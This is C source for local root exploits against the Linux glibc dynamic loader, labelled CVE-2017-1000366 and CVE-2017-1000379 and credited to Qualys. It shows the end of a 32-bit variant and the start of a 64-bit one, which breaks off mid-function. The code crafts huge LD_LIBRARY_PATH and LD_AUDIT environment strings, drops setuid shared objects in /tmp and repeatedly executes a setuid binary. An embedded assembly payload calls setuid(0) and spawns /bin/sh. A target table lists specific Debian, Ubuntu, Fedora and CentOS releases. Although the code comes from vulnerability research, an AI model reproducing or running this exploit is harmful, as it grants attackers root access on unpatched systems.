    uint8_t * const buf = malloc(size);
    if (!buf) die();
    if (read(fd, buf, size) != (ssize_t)size) die();
    if (close(fd)) die();

    if (size <= sizeof(ElfW(Ehdr))) die();
    const ElfW(Ehdr) * const ehdr = (const ElfW(Ehdr) *)buf;
    if (ehdr->e_ident[EI_MAG0] != ELFMAG0) die();
    if (ehdr->e_ident[EI_MAG1] != ELFMAG1) die();
    if (ehdr->e_ident[EI_MAG2] != ELFMAG2) die();
    if (ehdr->e_ident[EI_MAG3] != ELFMAG3) die();
    if (ehdr->e_ident[EI_CLASS] != ELFCLASS32) die();
    if (ehdr->e_ident[EI_DATA] != ELFDATA2LSB) die();
    if (ehdr->e_machine != EM_386) die();
    if (ehdr->e_version != EV_CURRENT) die();
    if (ehdr->e_ehsize != sizeof(ElfW(Ehdr))) die();
    if (ehdr->e_phentsize != sizeof(ElfW(Phdr))) die();
    if (ehdr->e_shentsize != sizeof(ElfW(Shdr))) die();
    if (ehdr->e_phoff <= 0 || ehdr->e_phoff >= size) die();
    if (ehdr->e_shoff <= 0 || ehdr->e_shoff >= size) die();
    if (ehdr->e_phnum > (size - ehdr->e_phoff) / sizeof(ElfW(Phdr))) die();
    if (ehdr->e_shnum > (size - ehdr->e_shoff) / sizeof(ElfW(Shdr))) die();

    if (ehdr->e_type != ET_DYN) {
        if (ehdr->e_type != ET_EXEC) die();
        const size_t mmaps = 0;
        printf("%zu (executable)\n", mmaps);
        free(buf);
        return mmaps;
    }

    uintptr_t first_map_start = UINTPTR_MAX;
    uintptr_t last_map_end = 0;
    unsigned int i;
    for (i = 0; i < ehdr->e_phnum; i++) {
        const ElfW(Phdr) * const phdr = (const ElfW(Phdr) *)(buf + ehdr->e_phoff) + i;
        if (phdr->p_type != PT_LOAD) continue;

        if (phdr->p_offset >= size) die();
        if (phdr->p_filesz > size - phdr->p_offset) die();
        if (phdr->p_filesz > phdr->p_memsz) die();
        if (phdr->p_vaddr >= STACK_BASE) die();
        if (phdr->p_memsz <= 0) die();
        if (phdr->p_memsz >= SAFESZ) die();
        #undef SAFESZ
        if (phdr->p_align != PAGESZ) die();

        const uintptr_t map_start = phdr->p_vaddr & ~(PAGESZ-1);
        if (map_start >= UINTPTR_MAX) die();
        if (map_start < last_map_end) die();

        const uintptr_t map_end = (phdr->p_vaddr + phdr->p_memsz + PAGESZ-1) & ~(PAGESZ-1);
        if (map_end <= map_start) die();
        if (map_end <= 0) die();

        if (first_map_start >= UINTPTR_MAX) {
            first_map_start = map_start;
        }
        last_map_end = map_end;

        switch (phdr->p_flags) {
            case PF_R | PF_X:
                break;
            case PF_R | PF_W:
                if (map_start <= first_map_start) die();
                break;
            default:
                die();
        }
    }
    if (first_map_start >= UINTPTR_MAX) die();
    if (last_map_end <= 0) die();
    if (last_map_end <= first_map_start) die();
    const size_t mmaps = last_map_end - first_map_start;
    printf("%zu (%sshared object)\n", mmaps, first_map_start ? "prelinked " : "");
    free(buf);
    return mmaps;
}

static const char my_x86_cap_flags[32][8] = {
    "fpu", "vme", "de", "pse", "tsc", "msr", "pae", "mce",
    "cx8", "apic", "10", "sep", "mtrr", "pge", "mca", "cmov",
    "pat", "pse36", "pn", "clflush", "20", "dts", "acpi", "mmx",
    "fxsr", "sse", "sse2", "ss", "ht", "tm", "ia64", "pbe"
};

static const char my_x86_platforms[4][5] = {
    "i386", "i486", "i586", "i686"
};

static inline const char *
my_hwcap_string (const unsigned int idx)
{
    if (idx >= sizeof(my_x86_cap_flags) / sizeof(my_x86_cap_flags[0])) die();
    return my_x86_cap_flags[idx];
}

struct my_important_hwcaps {
    unsigned long hwcap_mask;
    size_t max_capstrlen;
    size_t pointers;
    size_t strings;
    size_t search_dirs;
    size_t search_dirs_0;
};

struct my_link_map {
    const ElfW(Phdr) * l_phdr;
    ElfW(Half) l_phnum;
    ElfW(Addr) l_addr;
};

/* We want to cache information about the searches for shared objects.  */

enum r_dir_status { unknown, nonexisting, existing };

struct r_search_path_elem
  {
    /* This link is only used in the `all_dirs' member of `r_search_path'.  */
    struct r_search_path_elem *next;

    /* Strings saying where the definition came from.  */
    const char *what;
    const char *where;

    /* Basename for this search path element.  The string must end with
       a slash character.  */
    const char *dirname;
    size_t dirnamelen;

    enum r_dir_status status[0];
  };

struct r_strlenpair
  {
    const char *str;
    size_t len;
  };

/* Return an array of useful/necessary hardware capability names.  */
static struct my_important_hwcaps
my_important_hwcaps (const char * const platform, const size_t platform_len,
                     const uint64_t hwcap, const uint64_t hwcap_mask,
                     const struct my_link_map * sysinfo_map)
{
  static const struct my_important_hwcaps err;
  /* Determine how many important bits are set.  */
  uint64_t masked = hwcap & hwcap_mask;
  size_t cnt = platform != NULL;
  size_t n, m;
  size_t total;
  struct r_strlenpair *result;

  /* Count the number of bits set in the masked value.  */
  for (n = 0; (~((1ULL << n) - 1) & masked) != 0; ++n)
    if ((masked & (1ULL << n)) != 0)
      ++cnt;

  /* The system-supplied DSO can contain a note of type 2, vendor "GNU".
     This gives us a list of names to treat as fake hwcap bits.  */

  const char *dsocaps = NULL;
  size_t dsocapslen = 0;
  if (sysinfo_map != NULL)
    {
      const ElfW(Phdr) *const phdr = sysinfo_map->l_phdr;
      const ElfW(Word) phnum = sysinfo_map->l_phnum;
      uint_fast16_t i;
      for (i = 0; i < phnum; ++i)
        if (phdr[i].p_type == PT_NOTE)
          {
            const ElfW(Addr) start = (phdr[i].p_vaddr
                                      + sysinfo_map->l_addr);
            /* The standard ELF note layout is exactly as the anonymous struct.
               The next element is a variable length vendor name of length
               VENDORLEN (with a real length rounded to ElfW(Word)), followed
               by the data of length DATALEN (with a real length rounded to
               ElfW(Word)).  */
            const struct
            {
              ElfW(Word) vendorlen;
              ElfW(Word) datalen;
              ElfW(Word) type;
            } *note = (const void *) start;
            while ((ElfW(Addr)) (note + 1) - start < phdr[i].p_memsz)
              {
#define ROUND(len) (((len) + sizeof (ElfW(Word)) - 1) & -sizeof (ElfW(Word)))
                /* The layout of the type 2, vendor "GNU" note is as follows:
                   .long <Number of capabilities enabled by this note>
                   .long <Capabilities mask> (as mask >> _DL_FIRST_EXTRA).
                   .byte <The bit number for the next capability>
                   .asciz <The name of the capability>.  */
                if (note->type == NT_GNU_HWCAP
                    && note->vendorlen == sizeof "GNU"
                    && !memcmp ((note + 1), "GNU", sizeof "GNU")
                    && note->datalen > 2 * sizeof (ElfW(Word)) + 2)
                  {
                    const ElfW(Word) *p = ((const void *) (note + 1)
                                           + ROUND (sizeof "GNU"));
                    cnt += *p++;
                    ++p;        /* Skip mask word.  */
                    dsocaps = (const char *) p; /* Pseudo-string "<b>name"  */
                    dsocapslen = note->datalen - sizeof *p * 2;
                    break;
                  }
                note = ((const void *) (note + 1)
                        + ROUND (note->vendorlen) + ROUND (note->datalen));
#undef ROUND
              }
            if (dsocaps != NULL)
              break;
          }
    }

  /* For TLS enabled builds always add 'tls'.  */
  ++cnt;

  /* Create temporary data structure to generate result table.  */
  if (cnt < 2) return err;
  if (cnt >= 32) return err;
  struct r_strlenpair temp[cnt];
  m = 0;
  if (dsocaps != NULL)
    {
      /* dsocaps points to the .asciz string, and -1 points to the mask
         .long just before the string.  */
      const ElfW(Word) mask = ((const ElfW(Word) *) dsocaps)[-1];
      size_t len;
      const char *p;
      for (p = dsocaps; p < dsocaps + dsocapslen; p += len + 1)
        {
          uint_fast8_t bit = *p++;
          len = strlen (p);

          /* Skip entries that are not enabled in the mask word.  */
          if (mask & ((ElfW(Word)) 1 << bit))
            {
              temp[m].str = p;
              temp[m].len = len;
              ++m;
            }
          else
            --cnt;
        }
    }
  for (n = 0; masked != 0; ++n)
    if ((masked & (1ULL << n)) != 0)
      {
        temp[m].str = my_hwcap_string (n);
        temp[m].len = strlen (temp[m].str);
        masked ^= 1ULL << n;
        ++m;
      }
  if (platform != NULL)
    {
      temp[m].str = platform;
      temp[m].len = platform_len;
      ++m;
    }

  temp[m].str = "tls";
  temp[m].len = 3;
  ++m;

  assert (m == cnt);

  /* Determine the total size of all strings together.  */
  if (cnt == 1)
    total = temp[0].len + 1;
  else
    {
      total = temp[0].len + temp[cnt - 1].len + 2;
      if (cnt > 2)
        {
          total <<= 1;
          for (n = 1; n + 1 < cnt; ++n)
            total += temp[n].len + 1;
          if (cnt > 3
              && (cnt >= sizeof (size_t) * 8
                  || total + (sizeof (*result) << 3)
                     >= (1UL << (sizeof (size_t) * 8 - cnt + 3))))
            return err;

          total <<= cnt - 3;
        }
    }

  /* The result structure: we use a very compressed way to store the
     various combinations of capability names.  */
  const size_t _sz = 1 << cnt;

  /* Now we are ready to install the string pointers and length.  */
  size_t max_capstrlen = 0;
  n = cnt;
  do
    {
      const size_t mask = 1 << --n;
      for (m = 1 << cnt; m > 0; ) {
        if ((--m & mask) != 0)
          max_capstrlen += temp[n].len + 1;
        break;
      }
    }
  while (n != 0);

  const size_t round_size =
      (2 * sizeof (struct r_search_path_elem) - 1 + _sz * sizeof (enum r_dir_status))
         / sizeof (struct r_search_path_elem);
  if (hwcap_mask > ULONG_MAX) die();

  const struct my_important_hwcaps ret = {
      .hwcap_mask = hwcap_mask,
      .max_capstrlen = max_capstrlen,
      .pointers = _sz * sizeof (*result),
      .strings = total,
      .search_dirs = (target->nsystem_dirs_len + 1) * sizeof (struct r_search_path_elem *),
      .search_dirs_0 = target->sizeof_system_dirs * round_size * sizeof (struct r_search_path_elem)
  };
  return ret;
}

static size_t
my_bsearch(const void * const key,
    const void * const base, const size_t nmemb, const size_t size,
    int (* const compar)(const void *, const void *))
{
    if (!key) die();
    if (!size) die();
    if (!compar) die();
    if (nmemb >= SSIZE_MAX / size) die();
    if (!base != !nmemb) die();
    if (!base || !nmemb) return 0;

    size_t low = 0;
    size_t high = nmemb - 1;
    while (low <= high) {
        const size_t mid = low + (high - low) / 2;
        if (mid >= nmemb) die();
        const int cond = compar(key, base + mid * size);
        switch (cond) {
        case 0:
            return mid;
        case -1:
            if (mid <= 0) {
                if (mid != 0) die();
                if (low != 0) die();
                return low;
            }
            high = mid - 1;
            break;
        case +1:
            low = mid + 1;
            break;
        default:
            die();
        }
    }
    if (low > nmemb) die();
    return low;
}

static int
cmp_important_hwcaps(const void * const _a, const void * const _b)
{
    const struct my_important_hwcaps * const a = _a;
    const struct my_important_hwcaps * const b = _b;

    if (a->strings < b->strings) return -1;
    if (a->strings > b->strings) return +1;

    if (a->pointers < b->pointers) return -1;
    if (a->pointers > b->pointers) return +1;

    if (a->search_dirs_0 < b->search_dirs_0) return -1;
    if (a->search_dirs_0 > b->search_dirs_0) return +1;

    if (a->max_capstrlen < b->max_capstrlen) return -1;
    if (a->max_capstrlen > b->max_capstrlen) return +1;

    return 0;
}

struct audit_list
{
  const char *name;
  struct audit_list *next;
};

int
main(const int my_argc, const char * const my_argv[], const char * const my_envp[])
{
  {
    const char * const * p = my_envp;
    while (*p++) ;
    my_auxv = (const void *)p;
  }
    if (my_getauxval(AT_PAGESZ) != PAGESZ) die();
  {
    struct timeval tv;
    if (gettimeofday(&tv, NULL)) die();
    srandom(getpid() ^ tv.tv_sec ^ tv.tv_usec);
  }
    if (my_argc != 1+2) {
        printf("Usage: %s target binary\n", my_argv[0]);
        size_t i;
        for (i = 0; i < sizeof(targets)/sizeof(*targets); i++) {
            printf("Target %zu %s\n", i, targets[i].name);
        }
        die();
    }
  {
    const size_t i = strtoul(my_argv[1], NULL, 10);
    if (i >= sizeof(targets)/sizeof(*targets)) die();
    target = targets + i;
    printf("Target %zu %s\n", i, target->name);
  }
    printf("mau %zu nsd %zu ssd %zu rl %s il %d io %d\n",
        target->memalign_up, target->nsystem_dirs_len, target->sizeof_system_dirs,
        target->repl_lib, target->ignore_lib, target->ignore_origin);

    if (target->memalign_up % PAGESZ) die();
    if (target->ignore_lib < 0 || target->ignore_origin < 0) die();
    if (target->ignore_lib > 1 || target->ignore_origin > 1) die();

    const char * const binary = realpath(my_argv[2], NULL);
    if (!binary) die();
    if (*binary != '/') die();
    if (access(binary, X_OK)) die();

    const char * const slash = strrchr(binary, '/');
    if (!slash) die();
    if (slash <= binary) die();
    const char * const origin = strndup(binary, slash - binary);
    if (!origin) die();
    printf("origin %s (%zu)\n", origin, strlen(origin));

    const char * const platform = (const void *)my_getauxval(AT_PLATFORM);
    if (!platform) die();
    const size_t platform_len = strlen(platform);
    if (platform_len != 4) die();
  {
    size_t i;
    for (i = 0; ; i++) {
        if (i >= sizeof(my_x86_platforms) / sizeof(my_x86_platforms[0])) die();
        if (strcmp(platform, my_x86_platforms[i]) == 0) break;
    }
  }
    const struct {
        const char * str;
        size_t len;
        size_t repl_len;
    } DSTs[] = {
        #define DST_LIB "LIB"
        { DST_LIB, strlen(DST_LIB), strlen(target->repl_lib) },
        #define DST_PLATFORM "PLATFORM"
        { DST_PLATFORM, strlen(DST_PLATFORM), platform_len }
    };
    size_t repl_max = target->ignore_origin ? 0 : strlen(origin);
  {
    size_t i;
    for (i = target->ignore_lib ? 1 : 0; i < sizeof(DSTs)/sizeof(*DSTs); i++) {
        if (repl_max < DSTs[i].repl_len)
            repl_max = DSTs[i].repl_len;
    }
  }
    printf("repl_max %zu\n", repl_max);
    if (repl_max < 4) die();

    const ElfW(Ehdr) * const sysinfo_dso = (const void *)my_getauxval(AT_SYSINFO_EHDR);
    if (!sysinfo_dso) die();
    struct my_link_map sysinfo_map = {
        .l_phdr = (const void *)sysinfo_dso + sysinfo_dso->e_phoff,
        .l_phnum = sysinfo_dso->e_phnum,
        .l_addr = ULONG_MAX
    };
  {
    uint_fast16_t i;
    for (i = 0; i < sysinfo_map.l_phnum; ++i) {
        const ElfW(Phdr) * const ph = &sysinfo_map.l_phdr[i];
        if (ph->p_type == PT_LOAD) {
            if (sysinfo_map.l_addr == ULONG_MAX)
                sysinfo_map.l_addr = ph->p_vaddr;
        }
    }
  }
    if (sysinfo_map.l_addr == ULONG_MAX) die();
    sysinfo_map.l_addr = (ElfW(Addr))sysinfo_dso - sysinfo_map.l_addr;

    const unsigned long hwcap = my_getauxval(AT_HWCAP);
    if (!hwcap) die();
    struct my_important_hwcaps * important_hwcaps = NULL;
    size_t num_important_hwcaps = 0;
  {
    size_t max_important_hwcaps = 0;
    uint32_t hwcap_mask = 1;
    do {
        if (hwcap_mask & ~hwcap) continue;
        const uint64_t popcount = __builtin_popcount(hwcap_mask);
        if (popcount < 1) die();
        if (popcount > 32) die();
        if ((((2+1) * (2*2 + popcount)) << (popcount-1)) + PAGESZ
            >= MAX_ARG_STRLEN + (MAX_ARG_STRLEN / (4+1)) * (repl_max - (target->ignore_lib ? 7 : 4))) continue;

        const struct my_important_hwcaps ihc = my_important_hwcaps(platform, platform_len, hwcap, hwcap_mask, &sysinfo_map);
        if (!ihc.pointers) die();

        const size_t idx = my_bsearch(&ihc, important_hwcaps, num_important_hwcaps, sizeof(struct my_important_hwcaps), cmp_important_hwcaps);
        if (idx > num_important_hwcaps) die();

        if (idx == num_important_hwcaps || cmp_important_hwcaps(&ihc, important_hwcaps + idx)) {
            if (num_important_hwcaps >= max_important_hwcaps) {
                if (num_important_hwcaps != max_important_hwcaps) die();
                if (max_important_hwcaps >= 65536) die();
                max_important_hwcaps += 256;

                if (num_important_hwcaps >= max_important_hwcaps) die();
                important_hwcaps = realloc(important_hwcaps, max_important_hwcaps * sizeof(struct my_important_hwcaps));
                if (!important_hwcaps) die();
            }
            memmove(important_hwcaps + idx + 1, important_hwcaps + idx, (num_important_hwcaps - idx) * sizeof(struct my_important_hwcaps));
            important_hwcaps[idx] = ihc;
            num_important_hwcaps++;
        }
    } while (++hwcap_mask);
  }
    printf("num_important_hwcaps %zu\n", num_important_hwcaps);

    static struct {
        double probability;
        struct my_important_hwcaps ihc;
        size_t gwr, dst, cnt;
    } best;

    #define LIB "/lib"
    #define SEP_LIB ":" LIB
    #define LLP "LD_LIBRARY_PATH="
    static char llp[MAX_ARG_STRLEN];
    #define MAX_GWR ((sizeof(llp) - (sizeof(LLP)-1 + sizeof(SEP_LIB)-1 + 1)) & ~(MALLOC_ALIGN-1))
    size_t gwr;
    for (gwr = MAX_GWR; gwr >= 128; gwr -= MALLOC_ALIGN) {
        size_t dst;
        for (dst = 0; dst < sizeof(DSTs)/sizeof(*DSTs); dst++) {
            const size_t cnt = (MAX_GWR - gwr) / (1 + DSTs[dst].len + 1);
            const size_t gpj = (sizeof(SEP_LIB)-1 + MAX_GWR + cnt * (repl_max - (target->ignore_lib ? 7 : 4)) + 1 + STACK_ALIGN-1) & ~(STACK_ALIGN-1);
            const size_t bwr = (sizeof(SEP_LIB)-1 + cnt * (DSTs[dst].repl_len + 1)) + ((MAX_GWR - gwr) - cnt * (1 + DSTs[dst].len + 1)) + 1;

            const struct my_important_hwcaps key = { .strings = gwr + bwr };
            if (key.pointers) die();

            size_t idx = my_bsearch(&key, important_hwcaps, num_important_hwcaps, sizeof(struct my_important_hwcaps), cmp_important_hwcaps);
            for (; idx < num_important_hwcaps; idx++) {
                const struct my_important_hwcaps ihc = important_hwcaps[idx];
                if (ihc.strings < gwr + bwr) die();
                if (ihc.max_capstrlen % MALLOC_ALIGN >= sizeof("/..")) continue;
                if (ihc.search_dirs_0 >= STACK_RAND) continue;

                const size_t min = MIN(gwr, ihc.pointers);
                if (gpj < min + ihc.strings + ihc.search_dirs + 2 * target->memalign_up + 2 * PAGESZ + (target->ignore_origin ? 0 : PATH_MAX)) continue;

                const double probability =
                    (double)((uint64_t)(STACK_RAND - ihc.search_dirs_0) * (uint64_t)min) /
                    (double)((uint64_t)STACK_RAND * (uint64_t)(MMAP_RAND + (STACK_RAND - ihc.search_dirs_0)));
                if (best.probability < probability) {
                    best.probability = probability;
                    best.ihc = ihc;
                    best.gwr = gwr;
                    best.dst = dst;
                    best.cnt = cnt;
                    printf("len %zu ihcp %zu ihcs %zu sd %zu sd0 %zu gpj %zu gwr %zu bwr %zu cnt %zu dst %zu repl %zu probability 1/%zu (%.10g) mask %lx\n",
                        ihc.max_capstrlen, ihc.pointers, ihc.strings, ihc.search_dirs, ihc.search_dirs_0, gpj, gwr, bwr, cnt, DSTs[dst].len, DSTs[dst].repl_len,
                        (size_t)(1 / probability), probability, ihc.hwcap_mask);
                }
            }
        }
    }
    if (!best.probability) die();
    if (STACK_BASE <= MMAP_BASE) die();
    const size_t mmap_size = ((STACK_BASE - MMAP_BASE) / 2) - MMAP_RAND / 2
        - (get_elf_mmaps(binary) + get_elf_mmaps("/lib/ld-linux.so.2") + best.ihc.pointers + best.ihc.strings + best.ihc.search_dirs);
    const size_t stack_size = ((STACK_BASE - MMAP_BASE) / 2) - ((STACK_RAND + best.ihc.search_dirs_0) / 2);
    printf("mmap_size %zu stack_size %zu\n", mmap_size, stack_size);

    #define REL_LA "a"
    #define LDA "LD_AUDIT="
    static char lda[MAX_ARG_STRLEN];
    #define MAX_RLDAS ((sizeof(lda) - sizeof(LDA)) / sizeof(REL_LA))
    if (sizeof(struct audit_list) % MALLOC_ALIGN) die();
    const size_t ldas = (mmap_size / sizeof(struct audit_list)) / MAX_RLDAS;
    if (ldas >= MAX_ARG_STRINGS / 3) die();

    #define INITIAL_STACK_EXPANSION (131072UL)
    const size_t pads = INITIAL_STACK_EXPANSION / sizeof(char *) - ldas;
    if (pads >= INITIAL_STACK_EXPANSION / sizeof(char *)) die();
    if (pads >= MAX_ARG_STRINGS / 3) die();
    static char pad[MAX_ARG_STRLEN];
  {
    const size_t padl = (stack_size - sizeof(llp) - ldas * (sizeof(lda) + sizeof(char *)) - pads * sizeof(char *)) / pads;
    if (padl >= sizeof(pad)) die();
    if (padl <= 0) die();
    memset(pad, ' ', padl-1);
    printf("ldas %zu pads %zu padl %zu\n", ldas, pads, padl);
  }

  {
    char * cp = mempcpy(llp, LLP, sizeof(LLP)-1);
    memset(cp, '/', MAX_GWR);
    memcpy(cp + MAX_GWR, SEP_LIB, sizeof(SEP_LIB)-1);
    if (*(cp + MAX_GWR + sizeof(SEP_LIB)-1)) die();

    #define LIB_TO_TMP "/../tmp/"
    if (sizeof(LIB_TO_TMP)-1 != MALLOC_ALIGN) die();

    if (!best.gwr) die();
    if (best.gwr >= MAX_GWR) die();
    if (best.gwr % MALLOC_ALIGN) die();
    size_t i;
    for (i = 0; i < best.gwr / MALLOC_ALIGN; i++) {
        cp = mempcpy(cp, LIB_TO_TMP, MALLOC_ALIGN);
    }
    if (!best.cnt) die();
    if (best.dst >= sizeof(DSTs)/sizeof(*DSTs)) die();
    for (i = 0; i < best.cnt; i++) {
        *cp++ = '$';
        cp = mempcpy(cp, DSTs[best.dst].str, DSTs[best.dst].len);
        *cp++ = '/';
    }
    if (cp >= llp + sizeof(llp)) die();
    if (llp[sizeof(llp)-1]) die();
  }

    #define LHCM "LD_HWCAP_MASK="
    static char lhcm[64];
    if ((unsigned int)snprintf(lhcm, sizeof(lhcm), "%s%lu", LHCM, best.ihc.hwcap_mask)
                                  >= sizeof(lhcm)) die();
  {
    char * cp = mempcpy(lda, LDA, sizeof(LDA)-1);
    size_t i;
    for (i = 0; i < MAX_RLDAS; i++) {
        cp = mempcpy(cp, REL_LA ":", sizeof(REL_LA));
    }
    if (cp >= lda + sizeof(lda)) die();
    if (*cp) die();
  }
    static char rlda[MAX_ARG_STRLEN];

    const size_t args = 1 + pads + 1;
    char ** const argv = calloc(args, sizeof(char *));
    if (!argv) die();
  {
    char ** ap = argv;
    *ap++ = (char *)binary;
    size_t i;
    for (i = 0; i < pads; i++) {
        *ap++ = pad;
    }
    *ap++ = NULL;
    if (ap != argv + args) die();
  }

    const size_t envs = 2 + ldas + 2;
    char ** const envp = calloc(envs, sizeof(char *));
    if (!envp) die();
  {
    char ** ep = envp;
    *ep++ = llp;
    *ep++ = lhcm;
    size_t i;
    for (i = 0; i < ldas; i++) {
        *ep++ = lda;
    }
    *ep++ = rlda;
    *ep++ = NULL;
    if (ep != envp + envs) die();
  }

  {
    static const struct rlimit rlimit_stack = { RLIM_INFINITY, RLIM_INFINITY };
    if (setrlimit(RLIMIT_STACK, &rlimit_stack)) die();
  }
    int pipefd[2];
    if (pipe(pipefd)) die();
    if (close(pipefd[0])) die();
    pipefd[0] = -1;
    if (signal(SIGPIPE, SIG_DFL) == SIG_ERR) die();

  {
    #define ABS_LA_DIR "/" LIB "/" LIB_TO_TMP "/"
    static const char * const abs_las[] = {
        ABS_LA_DIR "" REL_LA,
        ABS_LA_DIR "/" REL_LA,
        ABS_LA_DIR "/." REL_LA,
        ABS_LA_DIR "/.." REL_LA,
    };
    size_t i;
    for (i = 0; i < sizeof(abs_las)/sizeof(*abs_las); i++) {
        const int fd = open(abs_las[i], O_WRONLY | O_CREAT | O_TRUNC | O_NOFOLLOW, 0);
        if (fd <= -1) die();
      {
        struct stat st;
        if (fstat(fd, &st)) die();
        if (!S_ISREG(st.st_mode)) die();
        if (st.st_uid != getuid()) die();
        if (st.st_uid != geteuid()) die();
      }
      {
        static const
        #include "la.so.h"
        if (sizeof(la_so) != la_so_len) die();
        if (write(fd, la_so, sizeof(la_so)) != (ssize_t)sizeof(la_so)) die();
      }
        if (fchmod(fd, 04755)) die();
        if (close(fd)) die();
    }
  }

    size_t try;
    for (try = 1; try <= 65536; try++) {
      {
        char * cp = mempcpy(rlda, LDA, sizeof(LDA)-1);
        size_t rldas = 1 + random() % (65536 / sizeof(struct audit_list));
        if (rldas > MAX_RLDAS) die();
        if (rldas <= 0) die();
        while (rldas--) {
            cp = mempcpy(cp, REL_LA ":", sizeof(REL_LA));
        }
        if (cp >= rlda + sizeof(rlda)) die();
        *cp = '\0';
      }
        if (fflush(stdout)) die();
        const pid_t pid = fork();
        if (pid <= -1) die();
        if (pid == 0) {
            if (dup2(pipefd[1], 1) != 1) die();
            if (dup2(pipefd[1], 2) != 2) die();
            execve(*argv, argv, envp);
            die();
        }
        int status = 0;
        struct timeval start, stop, diff;
        if (gettimeofday(&start, NULL)) die();
        if (waitpid(pid, &status, WUNTRACED) != pid) die();
        if (gettimeofday(&stop, NULL)) die();
        timersub(&stop, &start, &diff);
        printf("try %zu %ld.%06ld ", try, diff.tv_sec, diff.tv_usec);

        if (WIFSIGNALED(status)) {
            printf("signal %d\n", WTERMSIG(status));
            switch (WTERMSIG(status)) {
                case SIGPIPE:
                case SIGSEGV:
                case SIGBUS:
                    break;
                default:
                    die();
            }
        } else if (WIFEXITED(status)) {
            printf("exited %d\n", WEXITSTATUS(status));
            die();
        } else if (WIFSTOPPED(status)) {
            printf("stopped %d\n", WSTOPSIG(status));
            die();
        } else {
            printf("unknown %d\n", status);
            die();
        }
    }
    die();
}
            
/*
 * Linux_ldso_hwcap_64.c for CVE-2017-1000366, CVE-2017-1000379
 * Copyright (C) 2017 Qualys, Inc.
 *
 * my_important_hwcaps() adapted from elf/dl-hwcaps.c,
 * part of the GNU C Library:
 * Copyright (C) 2012-2017 Free Software Foundation, Inc.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 */

/**
cat > la.c << "EOF"
static void __attribute__ ((constructor)) _init (void) {
    __asm__ __volatile__ (
    "addq $64, %rsp;"
    // setuid(0);
    "movq $105, %rax;"
    "movq $0, %rdi;"
    "syscall;"
    // setgid(0);
    "movq $106, %rax;"
    "movq $0, %rdi;"
    "syscall;"
    // dup2(0, 1);
    "movq $33, %rax;"
    "movq $0, %rdi;"
    "movq $1, %rsi;"
    "syscall;"
    // dup2(0, 2);
    "movq $33, %rax;"
    "movq $0, %rdi;"
    "movq $2, %rsi;"
    "syscall;"
    // execve("/bin/sh");
    "movq $59, %rax;"
    "movq $0x0068732f6e69622f, %rdi;"
    "pushq %rdi;"
    "movq %rsp, %rdi;"
    "movq $0, %rdx;"
    "pushq %rdx;"
    "pushq %rdi;"
    "movq %rsp, %rsi;"
    "syscall;"
    // exit(0);
    "movq $60, %rax;"
    "movq $0, %rdi;"
    "syscall;"
    );
}
EOF
gcc -fpic -shared -nostdlib -Os -s -o la.so la.c
xxd -i la.so > la.so.h
**/

#define _GNU_SOURCE
#include <assert.h>
#include <elf.h>
#include <fcntl.h>
#include <limits.h>
#include <link.h>
#include <signal.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/param.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#define PAGESZ ((size_t)4096)
#define STACK_ALIGN ((size_t)16)
#define MALLOC_ALIGN ((size_t)8)

#define MAX_ARG_STRLEN ((size_t)128<<10)

#define SUB_STACK_RAND ((size_t)8192)
#define INITIAL_STACK_EXPANSION (131072UL)

#define LDSO "/lib64/ld-linux-x86-64.so.2"

static const struct target * target;
static const struct target {
    const char * name;
    size_t vdso_vvar;
    int jump_ldso_pie;
    int CVE_2015_1593;
    int offset2lib;
    const char * system_dir;
    const char * repl_lib;
    unsigned int extra_page;
    int ignore_lib;
    int ignore_origin;
    int disable_audit;
} targets[] = {
    {
        .name = "Debian 7.7 (wheezy)",
        .vdso_vvar = 4096,
        .jump_ldso_pie = 1,
        .CVE_2015_1593 = 1,
        .offset2lib = 1,
        .system_dir = "/lib",
        .repl_lib = "lib/x86_64-linux-gnu",
    },
    {
        .name = "Debian 8.5 (jessie)",
        .vdso_vvar = 16384,
        .offset2lib = 1,
        .system_dir = "/lib",
        .repl_lib = "lib/x86_64-linux-gnu",
    },
    {
        .name = "Debian 9.0 (stretch)",
        .vdso_vvar = 16384,
        .system_dir = "/lib",
        .repl_lib = "lib/x86_64-linux-gnu",
        .extra_page = 1,
    },
    {
        .name = "Ubuntu 14.04.2 (Trusty Tahr)",
        .vdso_vvar = 8192,
        .jump_ldso_pie = 1,
        .CVE_2015_1593 = 1,
        .offset2lib = 1,
        .system_dir = "/lib",
        .repl_lib = "lib/x86_64-linux-gnu",
        .disable_audit = 1,
    },
    {
        .name = "Ubuntu 16.04.2 (Xenial Xerus)",
        .vdso_vvar = 16384,
        .system_dir = "/lib",
        .repl_lib = "lib/x86_64-linux-gnu",
        .disable_audit = 1,
    },
    {
        .name = "Ubuntu 17.04 (Zesty Zapus)",
        .vdso_vvar = 16384,
        .system_dir = "/lib",
        .repl_lib = "lib/x86_64-linux-gnu",
        .extra_page = 1,
        .disable_audit = 1,
    },
    {
        .name = "Fedora 22 (Twenty Two)",
        .vdso_vvar = 16384,
        .offset2lib = 1,
        .system_dir = "/lib64",
        .repl_lib = "lib64",
    },
    {
        .name = "Fedora 25 (Server Edition)",
        .vdso_vvar = 16384,
        .system_dir = "/lib64",
        .repl_lib = "lib64",
        .extra_page = 1,
    },
    {
        .name = "CentOS 7.3.1611 (Core)",
        .vdso_vvar = 8192,
        .jump_ldso_pie = 1,
        .offset2lib = 1,
        .system_dir = "/lib64",
        .repl_lib = "lib64",
    },
};

#define die() do { \
    printf("died in %s: %u\n", __func__, __LINE__); \
    exit(EXIT_FAILURE); \
} while (0)

static const char *
my_asprintf(const char * const fmt, ...)
{
    if (!fmt) die();
    char * str = NULL;
    va_list ap;
    va_start(ap, fmt);
    const int len = vasprintf(&str, fmt, ap);
    va_end(ap);
    if (!str) die();
    if (len <= 0) die();
    if ((unsigned int)len != strlen(str)) die();
    return str;
}

static const ElfW(auxv_t) * my_auxv;

static unsigned long int
my_getauxval (const unsigned long int type)
{
    const ElfW(auxv_t) * p;

    if (!my_auxv) die();
